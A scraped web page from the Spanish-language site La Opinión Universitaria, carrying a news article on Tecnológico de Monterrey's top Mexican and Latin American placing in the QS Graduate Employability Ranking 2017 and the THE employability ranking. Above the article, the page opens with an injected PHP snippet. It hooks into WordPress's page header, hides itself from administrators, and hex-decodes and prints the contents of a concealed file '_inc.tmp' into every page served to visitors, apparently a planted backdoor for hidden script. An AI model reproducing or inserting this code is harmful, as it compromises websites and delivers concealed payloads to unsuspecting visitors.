if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Egresados del ITESM preferidos por empleadores del mundo: Rankings QS GER – La Opinión Universitaria La Opinión Universitaria
Menu

Egresados del ITESM preferidos por empleadores del mundo: Rankings QS GER

 

 

La empresa QS Quacquarelli Symonds Limited, que evalúa a las mejores instituciones de educación superior a nivel mundial a través de QS University Rankings, anunció los resultados de su ranking QS Graduate Employability 2017 (QS GER 2017), en el que el Tecnológico de Monterrey se posicionó como la número 1 en México y Latinoamérica.

El QS GER es uno de los rankings más recientes de QS. En 2015 emitió la primera edición y piloto de este ranking que mide la empleabilidad de los egresados de profesional y de posgrado de 300 universidades del mundo. Este 23 de noviembre, dio a conocer los resultados de la edición 2017.

La institución es la única universidad mexicana de tres incluye este ranking. Y en la segunda edición se colocó en la posición 40,  lo que la coloca en el Top 50 de universidades que son preferidas por las empresas más importantes a nivel internacional por la aceptación de sus egresados para trabajar en ellas. La UNAM, se ubicó en el grupo del 81 al 90; y la Universidad Anáhuac, mucho más lejos, en el grupo de los 200.

«Nacimos hace 73 años para formar a lo más valioso de una sociedad, su talento. Al reafirmar nuestro liderazgo en empleabilidad ratificamos que lo estamos haciendo, y esto es el fruto principalmente del gran trabajo de nuestros profesores y de la comunidad académica. En todo lo que hacemos buscamos tocar las vidas de nuestros alumnos para convertirlos en líderes que transformen su entorno”, destacó David Noel Ramírez Padilla, rector del Tecnológico Monterrey.

La metodología QS GER 2017 consideran cinco criterios relacionados con la empleabilidad de los egresados: “Reputación entre empleadores” (Employer reputation),  “Exalumnos destacados” (Alumni Outcomes), “Conexión Empleadores-Alumnos” (Employer-Student Connections), “Vinculación con empleadores” (Employer partnerships) y “Tasa de empleabilidad” (Graduate employment rate). Los tres criterios en los que destacó el Tec de Monterrey y que le dieron la posición en el Top 50 de un total de 300 universidades evaluadas son:

 

“Conexión Empleadores-Alumnos” (Employer-Student Connections), donde obtuvo un puntaje de 98, lo que le dio la posición número 19 en el ranking mundial. Este indicador tiene que ver con la presencia y contacto con empleadores. El modelo educativo del Tecnológico de Monterrey provoca que desde los primeros hasta los últimos semestres, los alumnos tengan contacto con empresas siendo parte de proyectos y soluciones que requieren, no solo en México sino en el extranjero. Un ejemplo de esto es la iniciativa de Semana i, que comprende retos en los que participan más de 50 mil alumnos de Profesional en más de 1,400 proyectos y actividades realizadas en vinculación con más de 1,100 empresas y organizaciones de México y el mundo.

 

 

 

  • “Exalumnos destacados” (Alumni Outcomes), donde obtuvo un puntaje de 94.5 y la posición número 22 en el ranking mundial. Este indicador tiene que ver con el éxito de los egresados de las universidades y su posición como los más innovadores, creativos, ricos, empresariales y / o filantrópicos del mundo. Los egresados del Tecnológico de Monterrey participan activamente en iniciativas como la Red de Filantropía, apoyando a estudiantes cada semestre con más de 6 mil becas; y de los 50 jóvenes más innovadores del mundo en el reconocimiento TR35 de MIT Technology Review, edición México, 21 son EXATEC, entre muchos otros ejemplos.

 

 

 

  • “Tasa de empleabilidad” (Graduate employment rate). En este indicador, la Institución alcanzó una calificación de 86.4 y el número 11 en el ranking mundial. Se trata de uno de los criterios más simples pero importantes, ya que tiene que ver con la cantidad de egresados que son contratados de tiempo parcial o completo en los primeros 12 meses después de graduados. En este sentido, la Institución trabaja cada año en la organización de EmpleaTEC Nacional feria de reclutamiento con sede en Monterrey, Guadalajara y Ciudad de México; además de realizar con frecuencia una serie de  eventos y otras ferias de reclutamiento, ya sea presenciales o en línea para sus estudiantes y graduados. Cada año la Institución publica cerca de 40 mil vacantes y apoya con talleres, conferencias y maratones de oportunidades laborales.

 

 

 

“Estos excelentes resultados son gracias a los miles de EXATEC líderes que aportan ideas de gran valor y hacen un trabajo sobresaliente en empresas y organizaciones a nivel internacional. Significa un gran orgullo para el Tec que ellos pongan en alto el nombre de la institución entre empleadores de todo el mundo y fortalezcan así el prestigio de su alma máter», afirmó Salvador Alva, presidente del Tecnológico de Monterrey.

 

 

 

Otro de los rankings que se dio a conocer este mes, el pasado 17 de noviembre, es el “Global University Employability Ranking 2016” publicado por la evaluadora Times Higher Education (THE), en el cual el Tecnológico de Monterrey ocupó la posición 110 de una lista de 150 universidades en el mundo. El ranking mide a las universidades con los egresados mejor preparados para entrar al mundo laboral.

 

 

 

En esta clasificación, el Tec destaca como la universidad mejor evaluada de México y la segunda en Latinoamérica después de la Universidad de Sao Paulo (71). Junto con la UNAM (150), es la única universidad mexicana que aparece en la lista de 150 clasificadas, que ofrece mayores posibilidades de empleo a sus egresados. El Tecnológico de Monterrey subió del sitio 116 en 2014 al 110 en 2016.

 

 

  • No comments

    Deja una respuesta

    Tweets recientes